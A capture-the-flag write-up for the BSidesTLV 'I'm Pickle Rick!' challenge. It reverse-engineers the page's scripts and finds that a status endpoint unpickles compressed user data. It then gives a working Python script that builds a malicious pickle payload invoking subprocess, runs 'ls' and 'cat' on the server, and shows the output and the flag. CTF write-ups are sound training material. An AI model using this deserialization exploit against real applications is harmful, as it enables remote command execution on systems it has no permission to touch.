I'm Pickle Rick!
By Narcissus
The link leads to this site:
Looking at the source code we find a few interesting scripts:
<script>
var members;
function pickleRick() {
$('.pickleimg').fadeIn(1000);
anatomyParkMembers("morty");
}
function anatomyParkMembers(visitor) {
var url = "/getMembers.html";
if (visitor) {
url += "?visitor=" + visitor
}
$.get(url, function (data) {
$(".result").html(data);
localStorage.setItem("anatomyParkMembers", data);
});
}
function statusAnatomyParkMembers() {
if (localStorage.getItem("anatomyParkMembers") === null) {
return false;
}
// DEFLATE
$.getJSON("/statusMembers.html?data=" + localStorage.getItem("anatomyParkMembers"), {
format: "json"
}).done(function (data) {
members = data;
});
}
</script>
<script>
$(document).ready(function () {
if (localStorage.getItem("anatomyParkMembers") === null) {
anatomyParkMembers();
}
setInterval(function () {
statusAnatomyParkMembers();
}, 10000);
});
</script>
The background is a video:
<video id="myVideo" autoplay muted style="width: 100%" onended="pickleRick();">
<source src="/static/Untitled.mp4" type="video/mp4">
Your browser does not support the video tag.
</video>
The important part is the onended
attribute.
The general flow of the site is as follows: The page loads and the background video is played. Next, when the video is over it calls the function pickleRick();
. This function calls anatomyParkMembers("morty");
, which in turn sets the result of /getMembers.html?visitor=morty
into what's called localStorage
. After that, every 10 seconds, the function statusAnatomyParkMembers();
gets called unless the localStorage
was wiped.
Let's look into the pages /getMembers.html
and /statusMembers.html
accessed by anatomyParkMembers()
and statusAnatomyParkMembers
respectively.
If we take the result of /getMembers.html?visitor=morty
: eNrTSCkw5ApWL8sszizJLypW5yow4tLIKTDmCsvNLyqp5Cow4UosDlZPzS3Iya9MTQUpMAUpMANqCipNSs0DCphzJQarO%2BblZaYCORYgTkB%2BXnJGPpBnCeIF5aenFgE5hgZghTk5YF2GhkCT9QDJ4iXE
and send it to /statusMembers.html?data=
we get: {"visitors": ["morty"], "employees": ["Ruben", "Annie", "Poncho", "Roger", "Allen"]}
.
It looks like /getMembers.html
adds the content of variable visitor
into the json array, packs it somehow, and returns the result. /statusMembers.html?data=
takes the packed data and unpacks returning the json.
Looking at the packet headers for each step we saw that the packing used is gzip, deflate
. We wanted to see what would happen if we packed a command and sent that to /statusMembers.html?data=
. We tried with some code:
import zlib
import requests
import base64
def create_command(cmd, args, flags):
template = """csubprocess
check_output
(((S'{0}'
S'{1}'
S'{2}'
ltR."""
return base64.b64encode(zlib.compress(template.format(cmd, args, flags), 9))
url_template = 'http://two.challenges.bsidestlv.com:8088/statusMembers.html?data={0}&format=json'
r = requests.get(url_template.format(create_command('ls', '../', '-l')))
print '\n'.join(r.text[1:-1].split('\\n'))
And hurray! We got this response:
total 72
drwxr-xr-x 1 root root 4096 Jun 10 08:22 app
drwxr-xr-x 1 root root 4096 Jun 6 03:35 bin
drwxr-xr-x 2 root root 4096 Feb 23 23:23 boot
drwxr-xr-x 5 root root 340 Jun 12 05:40 dev
drwxr-xr-x 1 root root 4096 Jun 10 08:22 etc-rw-r--r-- 1 root root 34 Jun 10 08:21 flag.txt
drwxr-xr-x 1 root root 4096 Jun 10 08:22 home
drwxr-xr-x 1 root root 4096 Jun 6 03:35 lib
drwxr-xr-x 2 root root 4096 Apr 26 00:00 lib64
drwxr-xr-x 2 root root 4096 Apr 26 00:00 media
drwxr-xr-x 2 root root 4096 Apr 26 00:00 mnt
drwxr-xr-x 2 root root 4096 Apr 26 00:00 opt
dr-xr-xr-x 265 root root 0 Jun 12 05:40 proc
drwx------ 1 root root 4096 Jun 10 08:22 root
drwxr-xr-x 4 root root 4096 Apr 26 00:00 run
drwxr-xr-x 2 root root 4096 Apr 26 00:00 sbin
drwxr-xr-x 2 root root 4096 Apr 26 00:00 srv
dr-xr-xr-x 13 root root 0 Jun 10 12:55 sys
drwxrwxrwt 1 root root 4096 Jun 12 19:04 tmp
drwxr-xr-x 1 root root 4096 Apr 26 00:00 usr
drwxr-xr-x 1 root root 4096 Apr 26 00:00 var
Now let's try to read flag.txt
:
r = requests.get(url_template.format(create_command('cat', '../flag.txt', '-u')))
print r.text[1:-3]
And the response:
BSidesTLV{IC0ntr0ll3dP1ckl3R1ck!}